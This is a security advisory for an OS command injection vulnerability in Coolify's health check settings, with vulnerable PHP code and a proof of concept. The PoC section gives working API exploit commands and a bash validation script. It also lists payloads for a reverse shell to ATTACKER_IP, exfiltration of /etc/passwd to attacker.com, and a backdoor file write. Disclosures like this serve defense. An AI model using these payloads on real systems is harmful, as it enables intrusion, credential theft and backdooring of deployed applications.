Skip to content

OS Command Injection in Health Check Configuration Allows Remote Code Execution

High
andrasbacsai published GHSA-4fhp-xqqp-w7vv Jul 2, 2026

Package

composer coollabsio/coolify (Composer)

Affected versions

<= 4.0.0-beta.460

Patched versions

>= v4.0.0-beta.469

Description

Summary

A critical OS command injection vulnerability exists in Coolify's health check configuration handling. The health_check_host, health_check_method, and health_check_path parameters are directly interpolated into shell commands without proper sanitization, allowing any authenticated user to execute arbitrary commands inside deployment containers.

Impact: Remote Code Execution (RCE) in all deployed application containers.
Severity: Critical (CVSS 8.8)


Details

Vulnerable File: app/Jobs/ApplicationDeploymentJob.php
Vulnerable Function: generate_healthcheck_commands()
Vulnerable Lines: 2762-2768

Vulnerable Code:

// Lines 2750-2773 in ApplicationDeploymentJob.php

private function generate_healthcheck_commands()
{
    if (! $this->application->health_check_port) {
        $health_check_port = $this->application->ports_exposes_array[0];
    } else {
        $health_check_port = $this->application->health_check_port;
    }
    
    if ($this->application->health_check_path) {
        $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}";
        $generated_healthchecks_commands = [
            // VULNERABLE: No escapeshellarg() on user-controlled inputs!
            "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1",
        ];
    } else {
        // Same vulnerability on line 2768
        $generated_healthchecks_commands = [
            "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1",
        ];
    }
    return implode(' ', $generated_healthchecks_commands);
}

Root Cause:

The user-controlled properties health_check_host, health_check_method, and health_check_path are directly interpolated into a shell command string without using escapeshellarg() or any input validation. This allows shell metacharacters like ;, |, $(), and ` to break out of the intended command and execute arbitrary commands.


PoC (Proof of Concept)

Prerequisites:

  • Authenticated user account on Coolify instance
  • Permission to create/edit applications

Step 1: Identify Vulnerable Endpoint

The vulnerability can be exploited via:

  • Web UI: Project → Application → Settings → Health Checks
  • API Endpoint: PATCH /api/v1/applications/{uuid}

Step 2: Craft Malicious Payload

Set health_check_host to:

localhost; id > /tmp/pwned #

Step 3: Exploit via API

# Replace with actual values
COOLIFY_URL="https://your-coolify-instance"
API_TOKEN="your-api-token"
APP_UUID="your-application-uuid"

# Inject malicious health check configuration
curl -X PATCH "${COOLIFY_URL}/api/v1/applications/${APP_UUID}" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "health_check_enabled": true,
    "health_check_host": "localhost; id > /tmp/pwned #",
    "health_check_path": "/health",
    "health_check_method": "GET",
    "health_check_scheme": "http"
  }'

# Trigger deployment to execute the health check
curl -X POST "${COOLIFY_URL}/api/v1/applications/${APP_UUID}/restart" \
  -H "Authorization: Bearer ${API_TOKEN}"

Step 4: Verify Exploitation

After deployment completes, check for command execution:

# The file /tmp/pwned should contain output of 'id' command
docker exec <container_name> cat /tmp/pwned
# Expected output: uid=0(root) gid=0(root) groups=0(root)

Step 5: Advanced Payloads

Reverse Shell:

{
  "health_check_host": "localhost; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #"
}

Data Exfiltration:

{
  "health_check_host": "localhost; curl http://attacker.com/exfil?data=$(cat /etc/passwd|base64|tr -d '\\n') #"
}

File Write:

{
  "health_check_host": "localhost; echo 'malicious content' > /app/backdoor.php #"
}

Local Validation Script

Save and run this script to validate the vulnerability pattern:

#!/bin/bash
# Simulates the exact vulnerable code pattern

TEST_DIR="/tmp/coolify_vuln_test"
mkdir -p "$TEST_DIR"

# Malicious user input
HEALTH_CHECK_HOST="localhost; echo 'PWNED' > ${TEST_DIR}/proof.txt #"
HEALTH_CHECK_METHOD="GET"
HEALTH_CHECK_SCHEME="http"
HEALTH_CHECK_PORT="8080"
HEALTH_CHECK_PATH="/health"

# Vulnerable command generation (same as Coolify)
VULNERABLE_CMD="curl -s -X ${HEALTH_CHECK_METHOD} -f ${HEALTH_CHECK_SCHEME}://${HEALTH_CHECK_HOST}:${HEALTH_CHECK_PORT}${HEALTH_CHECK_PATH} > /dev/null || exit 1"

echo "Executing: $VULNERABLE_CMD"
eval "$VULNERABLE_CMD" 2>/dev/null

# Check if injection worked
if [ -f "${TEST_DIR}/proof.txt" ]; then
    echo "✅ VULNERABLE: Command injection successful!"
    echo "Proof: $(cat ${TEST_DIR}/proof.txt)"
else
    echo "❌ File not created"
fi

rm -rf "$TEST_DIR"

Impact

Who is affected:

  • All Coolify users who deploy applications with health checks enabled
  • Self-hosted Coolify instances
  • Coolify Cloud users (if applicable)

What an attacker can do:

  1. Remote Code Execution - Execute arbitrary commands inside deployment containers
  2. Container Escape - Potentially escape to host if containers run privileged
  3. Data Theft - Access application secrets, environment variables, databases
  4. Lateral Movement - Attack other containers in the Docker network
  5. Supply Chain Attack - Inject backdoors into deployed applications
  6. Denial of Service - Crash or stop application containers

Attack Requirements:

  • Authenticated user account (any privilege level that can edit applications)
  • No special configuration needed - default installations are vulnerable

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-59734

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits